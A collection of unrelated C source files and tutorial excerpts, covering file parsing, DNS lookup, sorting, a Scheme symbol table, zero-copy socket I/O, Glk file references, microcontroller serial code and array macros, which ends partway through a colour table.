ajouterDonneePoul(listePouls, t);
}
// Fermer le fichier
fclose(f);
}
void affichage_csv(struct PoulsDonnees *listePouls)
{
struct PoulsDonnees *buf = listePouls;
while (buf != NULL)
{
printf("%d %d\n", buf->pouls, buf->temps);
buf = listePouls->next;
listePouls = listePouls->next;
}
}
void tri_bulles(struct PoulsDonnees *listePouls, struct PoulsDonnees **poulsTries, int sens)
{
}
struct PoulsDonnees recherche(int maxOrMin, struct PoulsDonnees **poulsTries)
{
return *poulsTries[0];
}
int menu()
{
return 0;
}
int main()
{
struct PoulsDonnees *listePouls[1];
struct PoulsDonnees *poulsTries[1];
int maxOrMin = 0;
listePouls[0] = NULL;
poulsTries[0] = NULL;
lireFichier(listePouls);
affichage_csv(listePouls[0]);
libererDonneesPoul(listePouls);
_getch();
return 0;
}
|
C
|
#include <netdb.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
if (argc == 1)
{
printf("Usage: %s <url>\n", argv[0]);
exit(1);
}
struct hostent* ip = gethostbyname(argv[1]);
if (ip == NULL)
{
printf("Error resolve url\n");
exit(1);
}
struct in_addr ip_addr = *(struct in_addr*)(ip->h_addr);
printf("%s: %s\n",argv[1],inet_ntoa(ip_addr));
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "onegin.h"
int main(void)
{
FILE *ifp, *ofp;
char **lineptr = (char**)(calloc(MAXLINE,sizeof(char)));
char s[MAXLINE];
int i, nl, n = 1;
int max = MAXLINE;
ifp = fopen(IFNAME, "r");
if (ifp == NULL)
{
fclose(ifp);
ex_handler();
}
ofp = fopen(OFNAME, "w");
if (ofp == NULL)
{
fclose(ifp);
fclose(ofp);
ex_handler();
}
for(i = 0; i < max; )
{
if ( (i - 1) % max == 0){
n = n + 1;
max = max*n;
lineptr = (char**)(realloc(lineptr, max));
}
if(fgets(s, MAXLINE, ifp) == NULL)
break;
if(*s != '\n')
{
lineptr[i] = (char *)malloc(sizeof(char) * (strlen(s) + 1));
strcpy(lineptr[i], s);
i += 1;
}
}
nl = i;
qsort(lineptr, nl, sizeof(char *), scmp);
for(i = 0; i < nl; i++)
{
fprintf(ofp, "%s", lineptr[i]);
free(lineptr[i]);
}
fclose(ifp);
fclose(ofp);
return 0;
}
|
C
|
#include "jcscheme.h"
#include "tree.h"
// Nil
static const expr nil[] = {
{.tag = T_NIL},
};
expr const * const Nil = nil;
extern inline bool is_nil(expr const *exp);
// Lists
expr const*
cons(expr const *car, expr const *cdr)
{
expr *list = emalloc(sizeof *list);
*list = (expr) {
.tag = T_PAIR,
{ (struct cons) {.car = car, .cdr = cdr} }
};
return list;
}
#undef car
#undef cdr
extern inline bool is_pair(expr const *exp);
extern inline expr const* car(expr const *list);
extern inline expr const* cdr(expr const *list);
// Symbols & symbol table
static expr symbol_table[];
static expr const* make_new_symbol(char const *str);
expr const*
make_symbol(char const *str)
{
expr const *node = symbol_table;
for (;;) {
expr const * const symbol = node->car;
expr *branches = (expr *)node->cdr;
int cmp = strcmp(str, symbol->symb);
if (cmp == 0)
return symbol;
/* search left branch if cmp < 0, otherwise right branch
* if branch is empty, create symbol, and the node to contain it,
* attach node to appropriate branch in tree, & return new symbol
* otherwise follow branch (recursion turned into loop)
*
* see _Symbol Table Layout Explained_ in the wiki
*/
if (cmp < 0) {
if (branches->car == Nil) {
expr const *sym = make_new_symbol(str);
branches->car = cons(sym, cons(Nil, Nil));
return sym;
}
else {
node = branches->car;
continue;
}
}
else if (cmp > 0) {
if (branches->cdr == Nil) {
expr const *sym = make_new_symbol(str);
branches->cdr = cons(sym, cons(Nil, Nil));
return sym;
}
else {
node = branches->cdr;
continue;
}
}
}
}
expr const*
make_new_symbol(char const *str)
{
expr *symbol = emalloc(sizeof *symbol);
*symbol = (expr) {.tag = T_SYMBOL, {.symb = str}};
return symbol;
}
extern inline bool is_symbol(expr const *exp);
// build symbol table bottom-up with root node last
#define SYMBOL_TABLE(SYMB, ROOT) \
SYMB(Quote, quote, Nil, Nil); \
ROOT(Symbol_Table, symbol_table, Nil, quote)
// define all nodes
SYMBOL_TABLE(DEFINE_SYMBOL, DEFINE_SYMTAB);
// associate externally-visible names with the SYMBOL objects in the nodes
SYMBOL_TABLE(NAME_SYMBOL, NAME_SYMTAB);
|
C
|
#include <stdio.h>
'''_______''' total = 0.0;
'''_______''' count = 0;
'''_______''' tax_percent = 6;
'''_______''' add_with_tax(float f)
{
'''_______''' tax_rate = 1 + tax_percent / 100'''____''';
total = total + (f * tax_rate);
count = count + 1;
return total;
}
int main()
{
'''________''' val;
printf("Price of item: ");
while (scanf("%f", &val) == 1) {
printf("Total so far: %.2f\n", add_with_tax(val));
printf("Price of item: ");
}
printf("\nFinal total: %.2f\n", total);
printf("Number of items: %i\n", count);
return 0;
}
#include <stdio.h>
'''float''' total = 0.0;
'''short''' count = 0;
'''short''' tax_percent = 6;
'''float''' add_with_tax(float f)
{
'''float''' tax_rate = 1 + tax_percent / 100'''.0''';
total = total + (f * tax_rate);
count = count + 1;
return total;
}
int main()
{
'''float''' val;
printf("Price of item: ");
while (scanf("%f", &val) == 1) {
printf("Total so far: %.2f\n", add_with_tax(val));
printf("Price of item: ");
}
printf("\nFinal total: %.2f\n", total);
printf("Number of items: %i\n", count);
return 0;
}
float tax_rate = 1 + tax_percent / 100.0;
1 + tax_percent / 100;
#include <stdio.h>
#include <limits.h>
#include <float.h>
int main()
{
printf("The value of INT_MAX is %i\n", INT_MAX);
printf("The value of INT_MIN is %i\n", INT_MIN);
printf("An int takes %li bytes\n", sizeof(int));
printf("The value of FLT_MAX is %f\n", FLT_MAX);
printf("The value of FLT_MIN is %.50f\n", FLT_MIN);
printf("A float takes %li bytes\n", sizeof(float));
return 0;
}
The value of INT_MAX is 2147483647
The value of INT_MIN is -2147483648
An int takes 4 bytes
The value of FLT_MAX is 340282346638528859811704183484516925440.000000
The value of FLT_MIN is 0.00000000000000000000000000000000000001175494350822
A float takes 4 bytes
Q: Why are data typs different on different operating systems? Wouldn't it be less confusing to make them all the same?
A: C uses different data types of different operating systems and processors because it allows it to make the most out of the hardware.
Q: In what way?
A: When C was first created, most machines were 8 bit. Now most machines are 32 or 64 bit. Because C doesn't specify the exact size of its data-types, it's been able to adapt over time. And as newer machines are created C will be able to make the most of them as well.
Q: What does 8 bit? and 64 bit actually mean?
A: Technically the bit size of a computer can refer to several things - such as the size of its CPU instructions, or the amount of data the CPU can read from memory. The bit-size is really the favored size of numbers that the computer can deal with.
Q: So what does that have to do with the size of ints and doubles?
A: If a computer is optimized best to work with 32 bit numbers, it makes sense if the basic data-type - the int - is set at 32 bits.
Q: I understand how whole numbers like ints work, but how are floats and numbers stored? How does the computer represent a number with a decimal point?
A: It's complicated. Most computers used a standard published by the IEEE (http://tinyurl.com/6defkv6).
Q: Do I really need to understand how floating point numbers work?
A: No. The vast majority of developers use floats and doubles without worrying about the details.
#include <stdio.h>
float total = 0.0;
short count = 0;
'''/* This is 6%. Which is a lot less than my agent takes...*/'''
short tax_percent = 6;
int main()
{
'''/* Hey - I was up for a movie with Val Kilmer */'''
float val;
printf("Price of item: ");
while (scanf("%f", &val) == 1) {
printf("Total so far: %.2f\n", add_with_tax(val));
printf("Price of item: ");
}
printf("\nFinal total: %.2f\n", total);
printf("Number of items: %i\n", count);
return 0;
}
float add_with_tax(float f)
{
float tax_rate = 1 + tax_percent / 100.0;
'''/* And what about the tip? Voice lessons ain't free */'''
total = total + (f * tax_rate);
count = count + 1;
return total;
}
$ gcc totalling_broken.c -o totalling_broken && ./totalling_broken
totalling_broken.c: In function ��main��:
totalling_broken.c:14: warning: format ��%.2f�� expects type ��double��, but argument 2 has type ��int��
totalling_broken.c: At top level:
totalling_broken.c:23: error: conflicting types for ��add_with_tax��
totalling_broken.c:14: error: previous implicit declaration of ��add_with_tax�� was here
printf("Total so far: %.2f\n", add_with_tax(val));
float add_with_tax(float f)
int do_whatever(){...}
float do_something_fantastic(int awesome_level) {...}
int do_stuff() {
do_something_fantastic(11);
}
float ping() {
...
pong();
...
}
float pong() {
...
ping();
...
}
float add_with_tax();
float do_something_fantastic();
double awesomeness_2_dot_0();
int stinky_pete();
char make_maguerita(int count);
#include <stdio.h>
float add_with_tax(float f);
#include <stdio.h>
#include "totaller.h"
> gcc totaller.c -o totaller
> ./totalling_fixed
Price of item: 1.23
Total so far: 1.30
Price of item: 4.57
Total so far: 6.15
Price of item: 11.92
Total so far: 18.78
Price of item: ^D
Final total: 18.78
Number of items: 3
Q: So I don't need to have declarations for int functions?
A; Not necessaarily - unless you are sharing code. We'll see more about this soon.
Q: I'm confused. You talk about the compiler ''precompiling''? Why does the ''compiler'' do that?
A: Strictly speaking the compiler just does the compilation step - it converts the C source code into assembly code. But in a looser sense, all of the stages that convert the C source code into the final executable are normally called ''compilation'', and the <tt>gcc</tt> tool allows you to control those stages. The gcc tool does precompilation ''and'' compilation.
Q: What is the precompiler?
A: Precompilation is the first stage i coverting the raw C source code into a working executable. Precompilation creates a modified version of the source just before the ''proper' compilation begins. In our code the precompilation step read the contents of the header file into the main file.
Q: Does the preompiler create an actual file?
A: No - compilers normally just use pipes to sending the stuff through the phases of the compiler to make things more efficient.
Q: Why do some headers have quotes and other have angle brackets?
A: Quotes mean to simply look for a file using a ''relative'' path. So if you just include the name of a file, without including a directory name, the compiler will look in the current directory. If the thing uses angle brackets it will search for the file along a path of directories.
Q: What directories will the compiler search when it is looking for header files?
A: The <tt>gcc</tt> compiler knows where the standard headers are stored. On a Unix-style operating system, the header files are normally in places like <tt>/usr/local/include</tt>, <tt>/usr/include</tt> and a few others.
Q: So that's how it works for standard headers like <tt>stdio.h</tt>?
A: Yes. You can read through the <tt>stdio.h</tt> on a Unix-style machine in <tt>/usr/include/stdio.h</tt>. If you have the MingW compiler on Windows, it will probably be in <tt>C:\MingW\include\stdio.h</tt>.
Q: Can I create my own libraries?
A: Yes - we'll show you how to do that later in the book.
|
C
|
/*
һλܰļҳҪĺһЩСɡǣÿֻܸһɡ
ÿ iһθֵ g[i]úθڵıɵСߴ磻
ÿ jһߴ s[j]
s[j] >= g[i]ǿԽ j i ӻõ㡣
ĿǾԽĺӣֵ
ʾ1:
: g = [1,2,3], s = [1,1]
: 1
:
ӺСɣ3ӵθֱֵǣ1,2,3
ȻСɣǵijߴ綼1ֻθֵ1ĺ㡣
Ӧ1
ʾ2:
: g = [1,2], s = [1,2,3]
: 2
:
ӺСɣ2ӵθֱֵ1,2
ӵеıͳߴ綼к㡣
Ӧ2.
ʾ
1 <= g.length <= 3 * 104
0 <= s.length <= 3 * 104
1 <= g[i], s[j] <= 231 - 1
*/
#include <stdio.h>
#include <stdlib.h>
int cmp (const void *_a, const void *_b)
{
int *a = (int*)_a;
int *b = (int*)_b;
return *a - *b; //С
}
int findContentChildren(int* g, int gSize, int* s, int sSize)
{
int i, j; //ѭ
int temp; //ʱλõתվ
int result = 0; //ͳƵĽ
//Ժθ
qsort (g, gSize, sizeof(int), cmp);
//ԱɴС
qsort (s, sSize, sizeof(int), cmp);
//ʼַ
for (i = 0, j = 0; i < gSize && j < sSize ; j++)
{
if (g[i] <= s[j])
{
result++; //ʵĻ 1
i++;
}
}
return result;
}
int main (void)
{
int g[] = {4,5,8,9,5,6,4,1,23,1};
int gSize = sizeof(g)/sizeof(int);
int s[] = {};
int sSize = sizeof(s)/sizeof(int);
printf ("%d", findContentChildren(g, gSize, s, sSize));
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
typedef uint8_t BYTE;
const int BLOCK = 512;
const int LETTERS = 7;
bool isJpeg(BYTE* buf);
void parseJpeg(FILE* rawFile);
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "Usage: ./recover infile \n");
return 1;
}
char *infile = argv[1];
FILE *rawFile = fopen(infile, "r");
if (rawFile == NULL)
{
fprintf(stderr, "Could not open %s.\n", infile);
return 2;
}
parseJpeg(rawFile);
fclose(rawFile);
return 0;
}
bool isJpeg(BYTE* buf)
{
if ( (buf[0] == 0xff) && (buf[1] == 0xd8) && (buf[2] == 0xff) && (buf[3]>>4 == 0xe) ) return 1;
else return 0;
}
void parseJpeg(FILE* rawFile)
{
FILE* jpegFile = NULL;
int jpegCouter = 0;
char* jpegName = malloc(LETTERS * sizeof(char));
BYTE* buf;
buf = malloc(BLOCK * sizeof(BYTE));
while ( !feof(rawFile) )
{
fread(buf, BLOCK, 1, rawFile);
if (isJpeg(buf))
{
if (jpegFile != NULL)
fclose(jpegFile);
sprintf(jpegName, "%03d.jpg", jpegCouter);
jpegFile = fopen(jpegName, "w");
jpegCouter++;
}
if (feof(rawFile))
break;
if (jpegFile != NULL)
fwrite(buf, BLOCK, 1, jpegFile);
}
free(buf);
free(jpegName);
if (jpegFile != NULL)
fclose(jpegFile);
}
|
C
|
/*
** EPITECH PROJECT, 2018
** task02day05
** File description:
** recursive fact
*/
#include <unistd.h>
void my_putchar(char c);
int my_compute_factorial_rec(int nb)
{
if (nb < 0 || nb >= 13) {
return (0);
} else if (nb == 0) {
return (1);
} else {
return my_compute_factorial_rec(nb - 1) * nb;
}
}
|
C
|
#ifndef STRING_STORE_H
#define STRING_STORE_H
#include "config.h"
#include <stddef.h>
#define INVALID_INDEX 0xFFFFFFFF
typedef struct string_store_t string_store_t;
typedef struct string_store_writer_t string_store_writer_t;
typedef struct string_store_reader_t string_store_reader_t;
string_store_t *string_store_create(const char *Prefix, size_t RequestedSize, size_t ChunkSize RADB_MEM_PARAMS);
string_store_t *string_store_open(const char *Prefix RADB_MEM_PARAMS);
void string_store_close(string_store_t *Store);
size_t string_store_num_entries(string_store_t *Store);
size_t string_store_size(string_store_t *Store, size_t Index);
size_t string_store_get(string_store_t *Store, size_t Index, void *Buffer, size_t Space);
void string_store_set(string_store_t *Store, size_t Index, const void *Buffer, size_t Length);
int string_store_compare(string_store_t *Store, const void *Other, size_t Length, size_t Index);
int string_store_compare2(string_store_t *Store, size_t Index1, size_t Index2);
size_t string_store_alloc(string_store_t *Store);
void string_store_free(string_store_t *Store, size_t Index);
struct string_store_writer_t {
string_store_t *Store;
size_t Node, Index, Remain;
};
void string_store_writer_open(string_store_writer_t *Writer, string_store_t *Store, size_t Index);
size_t string_store_writer_write(string_store_writer_t *Writer, const void *Buffer, size_t Length);
struct string_store_reader_t {
string_store_t *Store;
size_t Node, Offset, Remain;
};
void string_store_reader_open(string_store_reader_t *Reader, string_store_t *Store, size_t Index);
size_t string_store_reader_read(string_store_reader_t *Reader, void *Buffer, size_t Length);
#endif
|
C
|
//http://www.linuxjournal.com/article/6345?page=0,0
if(fcntl(fd, F_SETSIG, RT_SIGNAL_LEASE) == -1) {
perror("kernel lease set signal");
return -1;
}
tmp_buf = mmap(file, len);
write(socket, tmp_buf, len);
/* l_type can be F_RDLCK F_WRLCK */
if(fcntl(fd, F_SETLEASE, l_type)){
perror("kernel lease set type");
return -1;
}
//about sendfile()
//On Linux, sendfile() depends on the TCP_CORK socket option to avoid undesirable packet boundaries
//TCP_CORK and TCP_NODELAY option on the socket, which disables the Nagle algorithm.
Set TCP_CORK before sending a series of data that should be considered as a single message and
set TCP_NODELAY before sending short messages that should be sent immediately.
//http://blog.superpat.com/2010/06/01/zero-copy-in-linux-with-sendfile-and-splice/
ssize_t do_sendfile(int out_fd, int in_fd, off_t offset, size_t count) {
ssize_t bytes_sent;
size_t total_bytes_sent = 0;
while (total_bytes_sent < count) {
if ((bytes_sent = sendfile(out_fd, in_fd, &offset,
count - total_bytes_sent)) <= 0) {
if (errno == EINTR || errno == EAGAIN) {
// Interrupted system call/try again
// Just skip to the top of the loop and try again
continue;
}
perror("sendfile");
return -1;
}
total_bytes_sent += bytes_sent;
}
return total_bytes_sent;
}
//...
// Send 'len' bytes starting at 'offset' from 'file_fd' to 'socket_fd'
do_sendfile(socket_fd, file_fd, offset, len);
// Our pipe - a pair of file descriptors in an array - see pipe()
static int pipefd[2];
//...
ssize_t do_recvfile(int out_fd, int in_fd, off_t offset, size_t count) {
ssize_t bytes, bytes_sent, bytes_in_pipe;
size_t total_bytes_sent = 0;
// Splice the data from in_fd into the pipe
while (total_bytes_sent < count) {
// solve issue:
//makes the first splice() call hang when you ask for all of the data on the socket.
// simply limiting the data read from the socket to 16k.
if ((bytes_sent = splice(in_fd, NULL, pipefd[1], NULL,
MIN(count - total_bytes_sent, 16384),
SPLICE_F_MORE | SPLICE_F_MOVE)) <= 0) {
if (errno == EINTR || errno == EAGAIN) {
// Interrupted system call/try again
// Just skip to the top of the loop and try again
continue;
}
perror("splice");
return -1;
}
// Splice the data from the pipe into out_fd
bytes_in_pipe = bytes_sent;
while (bytes_in_pipe > 0) {
if ((bytes = splice(pipefd[0], NULL, out_fd, &offset, bytes_in_pipe,
SPLICE_F_MORE | SPLICE_F_MOVE)) <= 0) {
if (errno == EINTR || errno == EAGAIN) {
// Interrupted system call/try again
// Just skip to the top of the loop and try again
continue;
}
perror("splice");
return -1;
}
bytes_in_pipe -= bytes;
}
total_bytes_sent += bytes_sent;
}
return total_bytes_sent;
}
//...
// Setup the pipe at initialization time
if ( pipe(pipefd) < 0 ) {
perror("pipe");
exit(1);
}
//...
// Send 'len' bytes from 'socket_fd' to 'offset' in 'file_fd'
do_recvfile(file_fd, socket_fd, offset, len);
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> /* for unlink() */
#include <sys/stat.h> /* for stat() */
#include "glk.h"
#include "cheapglk.h"
/* This file implements filerefs as they work in a stdio system: a
fileref contains a pathname, a text/binary flag, and a file
type.
*/
/* Linked list of all filerefs */
static fileref_t *gli_filereflist = NULL;
#define BUFLEN (256)
static char workingdir[BUFLEN] = ".";
fileref_t *gli_new_fileref(char *filename, glui32 usage, glui32 rock)
{
fileref_t *fref = (fileref_t *)malloc(sizeof(fileref_t));
if (!fref)
return NULL;
fref->magicnum = MAGIC_FILEREF_NUM;
fref->rock = rock;
fref->filename = malloc(1 + strlen(filename));
strcpy(fref->filename, filename);
fref->textmode = ((usage & fileusage_TextMode) != 0);
fref->filetype = (usage & fileusage_TypeMask);
fref->prev = NULL;
fref->next = gli_filereflist;
gli_filereflist = fref;
if (fref->next) {
fref->next->prev = fref;
}
if (gli_register_obj)
fref->disprock = (*gli_register_obj)(fref, gidisp_Class_Fileref);
else
fref->disprock.ptr = NULL;
return fref;
}
void gli_delete_fileref(fileref_t *fref)
{
fileref_t *prev, *next;
if (gli_unregister_obj) {
(*gli_unregister_obj)(fref, gidisp_Class_Fileref, fref->disprock);
fref->disprock.ptr = NULL;
}
fref->magicnum = 0;
if (fref->filename) {
free(fref->filename);
fref->filename = NULL;
}
prev = fref->prev;
next = fref->next;
fref->prev = NULL;
fref->next = NULL;
if (prev)
prev->next = next;
else
gli_filereflist = next;
if (next)
next->prev = prev;
free(fref);
}
void glk_fileref_destroy(fileref_t *fref)
{
if (!fref) {
gli_strict_warning("fileref_destroy: invalid ref");
return;
}
gli_delete_fileref(fref);
}
static char *gli_suffix_for_usage(glui32 usage)
{
switch (usage & fileusage_TypeMask) {
case fileusage_Data:
return ".glkdata";
case fileusage_SavedGame:
return ".glksave";
case fileusage_Transcript:
case fileusage_InputRecord:
return ".txt";
default:
return "";
}
}
frefid_t glk_fileref_create_temp(glui32 usage, glui32 rock)
{
char filename[BUFLEN];
fileref_t *fref;
sprintf(filename, "/tmp/glktempfref-XXXXXX");
close(mkstemp(filename));
fref = gli_new_fileref(filename, usage, rock);
if (!fref) {
gli_strict_warning("fileref_create_temp: unable to create fileref.");
return NULL;
}
return fref;
}
frefid_t glk_fileref_create_from_fileref(glui32 usage, frefid_t oldfref,
glui32 rock)
{
fileref_t *fref;
if (!oldfref) {
gli_strict_warning("fileref_create_from_fileref: invalid ref");
return NULL;
}
fref = gli_new_fileref(oldfref->filename, usage, rock);
if (!fref) {
gli_strict_warning("fileref_create_from_fileref: unable to create fileref.");
return NULL;
}
return fref;
}
frefid_t glk_fileref_create_by_name(glui32 usage, char *name,
glui32 rock)
{
fileref_t *fref;
char buf[BUFLEN];
char buf2[2*BUFLEN+10];
int len;
char *cx;
char *suffix;
/* The new spec recommendations: delete all characters in the
string "/\<>:|?*" (including quotes). Truncate at the first
period. Change to "null" if there's nothing left. Then append
an appropriate suffix: ".glkdata", ".glksave", ".txt".
*/
for (cx=name, len=0; (*cx && *cx!='.' && len<BUFLEN-1); cx++) {
switch (*cx) {
case '"':
case '\\':
case '/':
case '>':
case '<':
case ':':
case '|':
case '?':
case '*':
break;
default:
buf[len++] = *cx;
}
}
buf[len] = '\0';
if (len == 0) {
strcpy(buf, "null");
len = strlen(buf);
}
suffix = gli_suffix_for_usage(usage);
sprintf(buf2, "%s/%s%s", workingdir, buf, suffix);
fref = gli_new_fileref(buf2, usage, rock);
if (!fref) {
gli_strict_warning("fileref_create_by_name: unable to create fileref.");
return NULL;
}
return fref;
}
frefid_t glk_fileref_create_by_prompt(glui32 usage, glui32 fmode,
glui32 rock)
{
fileref_t *fref;
char buf[BUFLEN];
char newbuf[2*BUFLEN+10];
char *res;
char *cx;
int val, gotdot;
char *prompt, *prompt2;
switch (usage & fileusage_TypeMask) {
case fileusage_SavedGame:
prompt = "Enter saved game";
break;
case fileusage_Transcript:
prompt = "Enter transcript file";
break;
case fileusage_InputRecord:
prompt = "Enter command record file";
break;
case fileusage_Data:
default:
prompt = "Enter data file";
break;
}
if (fmode == filemode_Read)
prompt2 = "to load";
else
prompt2 = "to store";
printf("%s %s: ", prompt, prompt2);
res = fgets(buf, BUFLEN-1, stdin);
if (!res) {
printf("\n<end of input>\n");
glk_exit();
}
/* Trim whitespace from end and beginning. */
val = strlen(buf);
while (val
&& (buf[val-1] == '\n'
|| buf[val-1] == '\r'
|| buf[val-1] == ' '))
val--;
buf[val] = '\0';
for (cx = buf; *cx == ' '; cx++) { }
val = strlen(cx);
if (!val) {
/* The player just hit return. It would be nice to provide a
default value, but this implementation is too cheap. */
return NULL;
}
if (cx[0] == '/')
strcpy(newbuf, cx);
else
sprintf(newbuf, "%s/%s", workingdir, cx);
/* If there is no dot-suffix, add a standard one. */
val = strlen(newbuf);
gotdot = FALSE;
while (val && (buf[val-1] != '/')) {
if (buf[val-1] == '.') {
gotdot = TRUE;
break;
}
val--;
}
if (!gotdot) {
char *suffix = gli_suffix_for_usage(usage);
strcat(newbuf, suffix);
}
if (fmode == filemode_Read) {
/* According to recent spec discussion, we must silently return NULL if no such file exists. */
if (access(newbuf, R_OK)) {
return NULL;
}
}
fref = gli_new_fileref(newbuf, usage, rock);
if (!fref) {
gli_strict_warning("fileref_create_by_prompt: unable to create fileref.");
return NULL;
}
return fref;
}
frefid_t glk_fileref_iterate(fileref_t *fref, glui32 *rock)
{
if (!fref) {
fref = gli_filereflist;
}
else {
fref = fref->next;
}
if (fref) {
if (rock)
*rock = fref->rock;
return fref;
}
if (rock)
*rock = 0;
return NULL;
}
glui32 glk_fileref_get_rock(fileref_t *fref)
{
if (!fref) {
gli_strict_warning("fileref_get_rock: invalid ref.");
return 0;
}
return fref->rock;
}
glui32 glk_fileref_does_file_exist(fileref_t *fref)
{
struct stat buf;
if (!fref) {
gli_strict_warning("fileref_does_file_exist: invalid ref");
return FALSE;
}
/* This is sort of Unix-specific, but probably any stdio library
will implement at least this much of stat(). */
if (stat(fref->filename, &buf))
return 0;
if (S_ISREG(buf.st_mode))
return 1;
else
return 0;
}
void glk_fileref_delete_file(fileref_t *fref)
{
if (!fref) {
gli_strict_warning("fileref_delete_file: invalid ref");
return;
}
/* If you don't have the unlink() function, obviously, change it
to whatever file-deletion function you do have. */
unlink(fref->filename);
}
/* This should only be called from startup code. */
void glkunix_set_base_file(char *filename)
{
int ix;
for (ix=strlen(filename)-1; ix >= 0; ix--)
if (filename[ix] == '/')
break;
if (ix >= 0) {
/* There is a slash. */
strncpy(workingdir, filename, ix);
workingdir[ix] = '\0';
ix++;
}
else {
/* No slash, just a filename. */
ix = 0;
}
}
|
C
|
#include <reg52.h>
#include "rs232.h"
#include <stdarg.h>
#include <stdio.h>
void comm_init();
void send1Byte (unsigned char value);
unsigned char read1Byte ();
RS232 rs232 = {
comm_init,
send1Byte,
read1Byte
};
void comm_init() {
//ĬϴͨѶDz
//ʼͨ
//ôڹʽΪʽ1,8λ첽շ,ʿɱ
SM0=0; //SCON
SM1=1;
TMOD=0x20;//öʱ1Ϊʽ2(8λġ)
//Ĵװֵ,ԸҪõIJ㡣 ʽĵ
TH1=0xfd;
TL1=0xfd;
//ʱ
TR1=1;//ʱ1
REN=1;//ͨλ
EA=1; //ж
ES=1; //ж,ES(IE.4) пжλ
}
void send1Byte (unsigned char value) {
ES = 0;
SBUF = value;
while(!TI);
TI = 0; //ǵҪ,Ȼᷢ
ES = 1;
}
unsigned char read1Byte () {
unsigned char d;
while(RI != 1);
d = SBUF;
RI = 0;
return (d);
}
|
C
|
#if !defined(CARRAYS_C)
/*
Use:
- Some data you want to use in arrays.
struct SomeData {
....
};
MAKE_ARRAY(SomeDataArray, SomeData)
- Usage
SomeDataArray array;
ARRAY_INIT(array, 100)
ARRAY_PUSH(array, some_data)
SomeData* temp = ARRAY_POP(array) // It's pointer, just valid until you use the push again.
Notes:
- MAKE_ARRAY makes Start, End, Last, Next and Prev functions you can use to iterate the array.
- Start gets the fisrt element.
- End returns NULL, just there for some for macros that require the End call.
- Last you the last one c:
- Next gets you the next item in the array from the item passed or NULL if it's the last.
- Prev gets you the previous item in the array from the item passed or NULL if it's the first.
- We realocate the data if the array is full, but we do it by asking the size*2. This can not be what you want.
*/
#define MAKE_ARRAY_START(data_name, _type) _type* Start(data_name* arr) { return (arr->count > 0) ? &arr->data[0] : NULL; }
#define MAKE_ARRAY_END(data_name, _type) _type* End(data_name* ) { return NULL; }
#define MAKE_ARRAY_LAST(data_name, _type) _type* Last(data_name* arr) { return (arr->count > 0) ? &arr->data[arr->count-1] : nullptr; }
#define MAKE_ARRAY_NEXT(data_name, _type) _type* Next(data_name* arr, _type* it) { \
return (&arr->data[arr->count-1] == it) ? NULL: (it + 1); }
#define MAKE_ARRAY_PREV(data_name, _type) _type* Prev(data_name* arr, _type* it) { \
return (&arr->data[0] == it) ? NULL: (it - 1); }
#define MAKE_ARRAY(data_name, type) struct data_name { \
size_t size; \
size_t len; \
size_t count; \
type* data; }; \
MAKE_ARRAY_START(data_name, type) \
MAKE_ARRAY_END(data_name, type) \
MAKE_ARRAY_NEXT(data_name, type) \
MAKE_ARRAY_LAST(data_name, type) \
MAKE_ARRAY_PREV(data_name, type)
#define ARRAY_INIT(_arr, _size) memset(&(_arr), 0, sizeof((_arr))); \
{ size_t* _data = (size_t*)&(_arr).data; \
*_data = (size_t)calloc(sizeof(*(_arr).data), (_size)); } \
if ((_arr).data) { \
(_arr).count = 0; \
(_arr).len = _size; \
(_arr).size = _size * sizeof(*(_arr).data); }
#define ARRAY_PUSH(_arr, _item) if ((_arr).size != 0 && (_arr).count >= (_arr).len) { \
size_t* _data = (size_t*)&(_arr).data; \
*_data = (size_t)realloc((_arr).data, (_arr).size*2); \
memset((void*)((*_data) + (_arr).size), 0, (_arr).size); \
if ((_arr).data) { \
(_arr).size = (_arr).size*2; \
(_arr).len = (_arr).len*2; \
} \
} \
if ((_arr).count < (_arr).len) \
(_arr).data[(_arr).count++] = (_item); \
#define ARRAY_POP(_arr) (_arr).count > 0 ? &(_arr).data[--(_arr).count] : nullptr;
#define CARRAYS_H
#endif
|
C
|
// Data set size
#define N 100
#define STEP 1000
#include <stdio.h>
int main() {
// input initialization
int i,j,k,t;
int check;
int m;
float A[2*N];
float A_ref[2*N];
srand(1);
FILE *f = fopen("iter.dat", "w");
if (!f)
{
printf("Error opening file!\n");
exit(1);
}
for(t=0; t<STEP; t++){
check = 0;
// conflict region random test
m = rand()%(13) + 1;
// conlfict region seperate test
//m = t + 1;
//m=12;
printf("\n===== m: %d \n", m);
// reference init
for (i=0; i<2*N; i++){
A[i] = rand()%N;
A_ref[i] = A[i];
}
// run reference kernel
for (i=0; i<N; i++){
A_ref[i+m] = A_ref[i] + 0.5f;
}
// run kernel
kernel_dist_param(m, A);
// compare
for (i=0; i<2*N; i++){
if (A[i] != A_ref[i]){
check = check + 1;
printf("*** A[%d] \n", i);
}
}
fprintf(f, "%d\n", N);
if(check!=0){
fclose(f);
return 1;
}
}
fclose(f);
return 0;
}
|
C
|
/* test16colors.c - A.A.Shabarshin (Apr-May 2015) */
#include <stdio.h>
#include <math.h>
#define RGB(r,g,b) (r|(g<<8)|(b<<16))
unsigned long actual[16] = {
#if 0
RGB( 4, 4, 12),
RGB( 1, 19, 159),
RGB( 70, 2, 172),
RGB( 1, 86, 255),
RGB(102, 15, 15),
RGB(122, 133, 137),
RGB(249, 49, 131),
RGB(219, 118, 254),
RGB( 0, 99, 34),
RGB( 1, 207, 133),
RGB(127, 133, 125),
RGB( 15, 188, 253),
RGB(138, 185, 54),
RGB(102, 253, 90),
RGB(253, 182, 74),
RGB(220, 217, 202)
#else
RGB(0 , 0 , 0 ), /* #000000 H=0 S=0 V=0 0000 */
RGB(0 , 81 , 169), /* #0051A9 H=211 S=100 V=66 0001 */
RGB(123, 6 , 199), /* #7B06C7 H=276 S=97 V=78 0010 */
RGB(110, 88 , 255), /* #6E58FF H=248 S=65 V=100 0011 */
RGB(140, 45 , 0 ), /* #8C2D00 H=19 S=100 V=55 0100 */
RGB(127, 127, 127), /* #7F7F7F H=0 S=0 V=50 0101 */
RGB(255, 52 , 157), /* #FF349D H=329 S=80 V=100 0110 */
RGB(250, 134, 255), /* #FA86FF H=298 S=47 V=100 0111 */
